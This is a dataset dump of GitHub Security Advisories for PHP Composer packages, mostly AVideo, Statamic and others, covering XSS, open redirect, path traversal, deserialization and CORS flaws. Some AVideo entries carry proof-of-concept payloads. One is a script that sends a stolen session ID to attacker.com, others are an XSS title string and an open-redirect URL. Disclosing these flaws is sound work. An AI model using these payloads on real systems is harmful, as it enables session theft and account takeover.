deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-2xr4-chcf-vmvf
Package: johnbillion/query-monitor (COMPOSER)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Vulnerable versions: < 3.20.4
Patched in: 3.20.4

Summary: The Query Monitor plugin for WordPress has Reflected Cross-Site Scripting via Request URI

Details:
### Impact

The Query Monitor plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['REQUEST_URI']` parameter in all versions up to, and including, 3.20.3 due to insufficient output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an Administrator-level user into performing an action such as clicking on a link.

On admin requests, the plugin reads user controlled data from `$_SERVER['REQUEST_URI']` and stores it in the request field, then renders `request`, `matched_query`, and `query_string` through `format_url()`. If the attacker supplied string does not contain `&`, `format_url()` returns it without HTML escaping, which allows injected HTML or JavaScript from the request target to be inserted directly into the page inside a `<code>` element and executed in the victim's browser.

### Patches

This issue has been patched in Query Monitor 3.20.4.

### Credits

Many thanks to Dmitrii Ignatyev at CleanTalk for responsibly disclosing this vulnerability.

### How can I report a security bug?

You can submit a private security vulnerability report to Query Monitor via [the Security tab on the GitHub repo](https://github.com/johnbillion/query-monitor/security). The GitHub Security Advisory process facilitates private collaboration on security issues. You'll receive credit for a valid report and a CVE if necessary.
GitHub Security Advisory: GHSA-hj5h-5623-gwhw
Package: wwbn/avideo (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: <= 25.0
Patched in: unpatched

Summary: AVideo has an Open Redirect via Unvalidated redirectUri in userLogin.php

Details:
### Summary

WWBN/AVideo contains an open redirect vulnerability in the login flow where a user-supplied redirectUri parameter is reflected directly into a JavaScript `document.location` assignment without JavaScript-safe encoding. After a user completes the login popup flow, a timer callback executes the redirect using the unvalidated value, sending the victim to an attacker-controlled site.

### Details

In `view/userLogin.php`, the application accepts a redirectUri GET parameter, passes it through a function called `isSafeRedirectURL()`, and stores the result in $safeRedirectUri. This value is then embedded into an inline JavaScript block:

```php
var logintimer = setInterval(function() {
    if (win.closed) {
        clearInterval(logintimer);
        document.location = "<?php print $safeRedirectUri; ?>";
    }
}, 1000);
```

The value is printed directly into a JavaScript string literal with no call to `json_encode()`, `htmlspecialchars()`, or any JavaScript-context escaping. Even if `isSafeRedirectURL()` is intended to filter dangerous values, protocol-relative URLs such as `//evil.com` satisfy many naive URL validation checks because they carry no explicit scheme, yet browsers will resolve them as `https://evil.com` when embedded in a navigation target. Additional bypass vectors include subdomain confusion of the form `https://trusted.com.evil.com` and path-prefix matching weaknesses. Because the reflected value lands inside a JavaScript string rather than an HTML attribute, HTML-level encoding would not prevent exploitation either. Once the popup window is closed, the setInterval callback fires every second, and the first time `win.closed` is truthy the victim's main page is redirected to the attacker's URL.

### PoC

```
https://victim.com/view/userLogin.php?redirectUri=//evil.com
```

```python
import requests

base = "https://victim.com/view/userLogin.php"
payload = "//evil.com"
r = requests.get(base, params={"redirectUri": payload})
assert payload in r.text, "Payload not reflected"
print("Reflected payload found in response")
```

### Impact

An unauthenticated attacker can craft a login URL and distribute it to victims. After the victim interacts with the login popup and closes it, the main page is silently navigated to an attacker-controlled domain. This enables phishing attacks where the victim is presented with a credential-harvesting page that visually mimics the original site. All users of any AVideo installation are potentially affected because no authentication is required to trigger the redirect. The attack requires only that the victim follow the crafted link and complete or dismiss the popup, making it practical in targeted phishing campaigns.
GitHub Security Advisory: GHSA-gc3m-4mcr-h3pv
Package: wwbn/avideo (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 25.0
Patched in: unpatched

Summary: AVideo Affected by Stored XSS via Unescaped Video Title in CDN downloadButtons.php

Details:
### Summary

WWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The `clean_title` field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page.

### Details

At line 59 of the affected file, the following PHP code constructs a JavaScript function call:

```php
downloadURLOrAlertError(url, {}, '<?php echo $video['clean_title']; ?>.' + format, progress);
```

The `clean_title` value is echoed verbatim inside a single-quoted JavaScript string literal. No JavaScript-context escaping is applied, such as wrapping with `json_encode` or htmlspecialchars with appropriate flags. Because the value sits inside a JS string delimited by single quotes, any input containing a single quote character allows an attacker to terminate the string prematurely and inject arbitrary JavaScript expressions. The `clean_title` field is derived from user-supplied video title input, meaning any user with video creation or editing privileges can craft a malicious title. The injected script executes in the security context of whatever user loads the download page for that video, which may include administrators or authenticated users with elevated privileges.

### PoC

```python
import requests

target = "https://example.com"
login_url = f"{target}/user"
upload_url = f"{target}/video/addNew"

session = requests.Session()

session.post(login_url, data={
    "user[user]": "attacker",
    "user[pass]": "attackerpassword"
})

malicious_title = "');alert(document.cookie);//"

session.post(upload_url, data={
    "title": malicious_title,
    "description": "poc"
})
```

After the video is created, navigate to:

```
https://example.com/plugin/CDN/downloadButtons.php?videos_id=<TARGET_VIDEO_ID>
```

The rendered page will contain:

```javascript
downloadURLOrAlertError(url, {}, '');alert(document.cookie);//.' + format, progress);
```

### Impact

Any user who can create or edit a video can store malicious JavaScript that will execute in the browser of any other user who visits the download page for that video. This includes scenarios where an attacker with a low-privilege account targets administrator sessions. Successful exploitation enables session cookie theft, credential harvesting, and actions performed on behalf of the victim within the application. Because the payload is stored server-side and triggers without further attacker interaction, all users who access download pages for attacker-controlled videos are at risk.
GitHub Security Advisory: GHSA-94g3-g5v7-q4jg
Package: phpseclib/phpseclib (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-208: Observable Timing Discrepancy
Vulnerable versions: >= 2.0.0, <= 2.0.51
Patched in: 2.0.52

Summary: phpseclib's AES-CBC unpadding susceptible to padding oracle timing attack

Details:
### Impact
Those using AES in CBC mode may be susceptible to a padding oracle timing attack.

### Patches
https://github.com/phpseclib/phpseclib/commit/ccc21aef71eb170e9bf819b167e67d1fd9e6e788

### Workarounds
Use AES in CTR, CFB or OFB modes

### References
https://github.com/phpseclib/phpseclib/commit/ccc21aef71eb170e9bf819b167e67d1fd9e6e788
GitHub Security Advisory: GHSA-94g3-g5v7-q4jg
Package: phpseclib/phpseclib (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-208: Observable Timing Discrepancy
Vulnerable versions: >= 3.0.0, <= 3.0.49
Patched in: 3.0.50

Summary: phpseclib's AES-CBC unpadding susceptible to padding oracle timing attack

Details:
### Impact
Those using AES in CBC mode may be susceptible to a padding oracle timing attack.

### Patches
https://github.com/phpseclib/phpseclib/commit/ccc21aef71eb170e9bf819b167e67d1fd9e6e788

### Workarounds
Use AES in CTR, CFB or OFB modes

### References
https://github.com/phpseclib/phpseclib/commit/ccc21aef71eb170e9bf819b167e67d1fd9e6e788
GitHub Security Advisory: GHSA-5x2w-37xf-7962
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-306: Missing Authentication for Critical Function
Vulnerable versions: <= 25.0
Patched in: unpatched

Summary: AVideo has Unauthenticated PGP Message Decryption via Public Endpoint

Details:
### Summary

The AVideo platform exposes a publicly accessible endpoint that performs server-side PGP decryption without requiring any form of authentication. Any anonymous user can submit a private key, ciphertext, and passphrase to the endpoint and receive the decrypted plaintext in the JSON response. This functionality is entirely unprotected, meaning no session, token, or credential is needed to invoke it.

### Details

The endpoint at decryptMessage.json.php accepts a JSON body containing three user-supplied fields: a private key, an encrypted message, and a key password. The server passes these directly into a decryption routine and returns the result. There is no call to any authentication or session validation function before this operation is performed. The relevant server-side operation is:

```php
$textDecrypted = decryptMessage($obj->textToDecrypt, $obj->privateKeyToDecryptMsg, $obj->keyPassword);
```

Because no access control exists, any unauthenticated request that reaches this endpoint will be processed. The primary concerns are exposure of private key material to server memory and logging infrastructure, and unconstrained consumption of server CPU resources for cryptographic operations. An attacker who has obtained a private key and matching ciphertext through other means can offload decryption work to the target server without holding any account on the platform.

### PoC

```sh
curl -s -X POST \
  "https://target.example.com/plugin/LoginControl/pgp/decryptMessage.json.php" \
  -H "Content-Type: application/json" \
  -d '{
    "textToDecrypt": "-----BEGIN PGP MESSAGE-----\n<base64_ciphertext>\n-----END PGP MESSAGE-----",
    "privateKeyToDecryptMsg": "-----BEGIN PGP PRIVATE KEY BLOCK-----\n<base64_private_key>\n-----END PGP PRIVATE KEY BLOCK-----",
    "keyPassword": "passphrase"
  }'
```

### Impact

Private key material submitted to this endpoint is processed in server memory and may be captured in application logs, web server access logs, or error logs depending on server configuration. This can result in unintended disclosure of sensitive key material to administrators or anyone with log access. Additionally, the lack of any rate limiting combined with the absence of authentication allows any external party to submit large volumes of decryption requests, consuming server CPU resources without restriction. Any user who can reach the endpoint network-layer can trigger these effects.

### Mitigation

A User::isLogged() check, or an equivalent session and authentication validation step, should be added at the top of decryptMessage.json.php before any user-supplied input is processed. Decryption operations should only be permitted for authenticated and authorized users. Server logging configuration should also be reviewed to ensure that POST body contents, including key material, are not written to persistent logs.
GitHub Security Advisory: GHSA-vv3x-j2x5-36jc
Package: filament/tables (COMPOSER)
Severity: HIGH (CVSS 7.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Vulnerable versions: >= 5.0.0, < 5.3.5
Patched in: 5.3.5

Summary: Filament Unvalidated Range and Values summarizer values can be used for XSS

Details:
Two Filament Table summarizers (`Range`, `Values`) render raw database values without escaping HTML. If there is a lack of validation for the data in the columns that use these summarizers, an attacker could plant malicious HTML / JavaScript and achieve stored XSS that executes for users who view the table with those summarizers.
GitHub Security Advisory: GHSA-vv3x-j2x5-36jc
Package: filament/tables (COMPOSER)
Severity: HIGH (CVSS 7.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Vulnerable versions: >= 4.0.0, < 4.8.5
Patched in: 4.8.5

Summary: Filament Unvalidated Range and Values summarizer values can be used for XSS

Details:
Two Filament Table summarizers (`Range`, `Values`) render raw database values without escaping HTML. If there is a lack of validation for the data in the columns that use these summarizers, an attacker could plant malicious HTML / JavaScript and achieve stored XSS that executes for users who view the table with those summarizers.
GitHub Security Advisory: GHSA-wh3h-gvc4-cc2g
Package: statamic/cms (COMPOSER)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-862: Missing Authorization
Vulnerable versions: < 5.73.14
Patched in: 5.73.14

Summary: Statamic is missing authorization check on taxonomy term creation via fieldtype

Details:
### Impact

Low-privileged Control Panel users could create taxonomy terms by submitting requests to the field action processing endpoint with attacker-controlled field definitions. This bypasses the authorization checks enforced on the standard taxonomy term creation endpoint.

### Patches

This has been fixed in 5.73.14 and 6.7.0.
GitHub Security Advisory: GHSA-wh3h-gvc4-cc2g
Package: statamic/cms (COMPOSER)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-862: Missing Authorization
Vulnerable versions: >= 6.0.0-alpha.1, < 6.7.0
Patched in: 6.7.0

Summary: Statamic is missing authorization check on taxonomy term creation via fieldtype

Details:
### Impact

Low-privileged Control Panel users could create taxonomy terms by submitting requests to the field action processing endpoint with attacker-controlled field definitions. This bypasses the authorization checks enforced on the standard taxonomy term creation endpoint.

### Patches

This has been fixed in 5.73.14 and 6.7.0.
GitHub Security Advisory: GHSA-qm7r-wwq7-6f85
Package: statamic/cms (COMPOSER)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 5.73.14
Patched in: 5.73.14

Summary: Statamic has a path traversal in file dictionary fieldtype

Details:
### Impact

Authenticated Control Panel users could read arbitrary `.json`, `.yaml`, and `.csv` files from the server by manipulating the file dictionary's `filename` configuration parameter in the fieldtype's endpoint.

### Patches

This has been fixed in 5.73.14 and 6.7.0.
GitHub Security Advisory: GHSA-qm7r-wwq7-6f85
Package: statamic/cms (COMPOSER)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 6.0.0-alpha.1, < 6.7.0
Patched in: 6.7.0

Summary: Statamic has a path traversal in file dictionary fieldtype

Details:
### Impact

Authenticated Control Panel users could read arbitrary `.json`, `.yaml`, and `.csv` files from the server by manipulating the file dictionary's `filename` configuration parameter in the fieldtype's endpoint.

### Patches

This has been fixed in 5.73.14 and 6.7.0.
GitHub Security Advisory: GHSA-7rcv-55mj-chg7
Package: statamic/cms (COMPOSER)
Severity: HIGH (CVSS 8.7)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 5.73.14
Patched in: 5.73.14

Summary: Statamic has Stored XSS via SVG Sanitization Bypass

Details:
### Impact

Stored XSS vulnerability in SVG asset reuploads allows authenticated users with asset upload permissions to bypass SVG sanitization and inject malicious JavaScript that executes when the asset is viewed.

### Patches

This has been fixed in 5.73.14 and 6.7.0.
GitHub Security Advisory: GHSA-7rcv-55mj-chg7
Package: statamic/cms (COMPOSER)
Severity: HIGH (CVSS 8.7)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 6.0.0-alpha.1, < 6.7.0
Patched in: 6.7.0

Summary: Statamic has Stored XSS via SVG Sanitization Bypass

Details:
### Impact

Stored XSS vulnerability in SVG asset reuploads allows authenticated users with asset upload permissions to bypass SVG sanitization and inject malicious JavaScript that executes when the asset is viewed.

### Patches

This has been fixed in 5.73.14 and 6.7.0.
GitHub Security Advisory: GHSA-755r-r738-mjgp
Package: ayacoo/redirect-tab (COMPOSER)
Severity: LOW (CVSS 4.3)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-862: Missing Authorization
Vulnerable versions: >= 4.0.0, < 4.0.5
Patched in: 4.0.5

Summary: Broken Access Control in extension "Redirect Tab" (redirect_tab)

Details:
The extension fails to verify, if an authenticated user has permissions to access to redirects resulting in exposure of redirect records when editing a page.
GitHub Security Advisory: GHSA-755r-r738-mjgp
Package: ayacoo/redirect-tab (COMPOSER)
Severity: LOW (CVSS 4.3)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-862: Missing Authorization
Vulnerable versions: >= 3.0.0, < 3.1.7
Patched in: 3.1.7

Summary: Broken Access Control in extension "Redirect Tab" (redirect_tab)

Details:
The extension fails to verify, if an authenticated user has permissions to access to redirects resulting in exposure of redirect records when editing a page.
GitHub Security Advisory: GHSA-755r-r738-mjgp
Package: ayacoo/redirect-tab (COMPOSER)
Severity: LOW (CVSS 4.3)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-862: Missing Authorization
Vulnerable versions: < 2.1.2
Patched in: 2.1.2

Summary: Broken Access Control in extension "Redirect Tab" (redirect_tab)

Details:
The extension fails to verify, if an authenticated user has permissions to access to redirects resulting in exposure of redirect records when editing a page.
GitHub Security Advisory: GHSA-2pm6-9fhx-vvg3
Package: cpsit/typo3-mailqueue (COMPOSER)
Severity: MODERATE (CVSS 8.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: >= 0.5.0, < 0.5.2
Patched in: 0.5.2

Summary: The mailqueue TYPO3 extension has Insecure Deserialization in `TransportFailure` class

Details:
## Description

The extension fails to properly define allowed classes used when deserializing transport failure metadata. An attacker may exploit this to execute untrusted serialized code. Note that an active exploit requires write access to the directory configured at `$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_spool_filepath']`.
GitHub Security Advisory: GHSA-2pm6-9fhx-vvg3
Package: cpsit/typo3-mailqueue (COMPOSER)
Severity: MODERATE (CVSS 8.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 0.4.5
Patched in: 0.4.5

Summary: The mailqueue TYPO3 extension has Insecure Deserialization in `TransportFailure` class

Details:
## Description

The extension fails to properly define allowed classes used when deserializing transport failure metadata. An attacker may exploit this to execute untrusted serialized code. Note that an active exploit requires write access to the directory configured at `$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_spool_filepath']`.
GitHub Security Advisory: GHSA-3x4w-mxpf-fhqq
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.9.0-beta.1, <= 5.9.10
Patched in: 5.9.11

Summary: Craft CMS Vulnerable to Stored XSS in Revision Context Menu

Details:
The revision/draft context menu in the element editor renders the creator’s `fullName` as raw HTML due to the 
use of `Template::raw()` combined with `Craft::t()` string interpolation. A low-privileged control panel user
(e.g., Author) can set their fullName to an XSS payload via the profile editor, then create an entry with two
saves.

If an administrator is logged in and executes a specifically crafted payload while an elevated session is active, the attacker’s account can be elevated to administrator.

Users should update to Craft 5.9.11 with the patch to mitigate the issue.
GitHub Security Advisory: GHSA-76c2-3q6g-xvpm
Package: aureuserp/aureuserp (COMPOSER)
Severity: MODERATE (CVSS 3.5)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 1.3.0-BETA1
Patched in: 1.3.0-BETA1

Summary: Aureus ERP vulnerable to cross-site scripting in the Chatter Message Handler

Details:
A vulnerability was determined in Aureus ERP up to 1.3.0-BETA1. The affected element is an unknown function of the file plugins/webkul/chatter/resources/views/filament/infolists/components/messages/content-text-entry.blade.php of the component Chatter Message Handler. Executing a manipulation of the argument subject/body can lead to cross site scripting. The attack can be launched remotely. Upgrading to version 1.3.0-BETA1 is sufficient to fix this issue. This patch is called 2135ee7efff4090e70050b63015ab5e268760ec8. It is suggested to upgrade the affected component.
GitHub Security Advisory: GHSA-qc3p-398r-p59j
Package: wwbn/avideo (COMPOSER)
Severity: HIGH (CVSS 8.1)
CWE: CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains
Vulnerable versions: <= 25.0
Patched in: unpatched

Summary: AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS

Details:
### Summary

`/objects/phpsessionid.json.php` exposes the current PHP session ID to any unauthenticated request. The `allowOrigin()` function reflects any `Origin` header back in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`, enabling cross-origin session theft and full account takeover.

### Details

**File:** `objects/phpsessionid.json.php`

```php
allowOrigin();
$obj = new stdClass();
$obj->phpsessid = session_id();
echo _json_encode($obj);
```

No authentication is required. The `allowOrigin()` function in `objects/functions.php` (line ~2648) reflects the request Origin:

```php
$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
header("Access-Control-Allow-Credentials: true");
```

This means any external website can make a credentialed cross-origin request and read the session ID.

### PoC

An attacker hosts the following page:

```html
<script>
fetch('https://TARGET/objects/phpsessionid.json.php', {
  credentials: 'include'
})
.then(r => r.json())
.then(d => {
  // d.phpsessid = victim's session ID
  document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;
});
</script>
```

When a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.

### Impact

**Account Takeover** — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.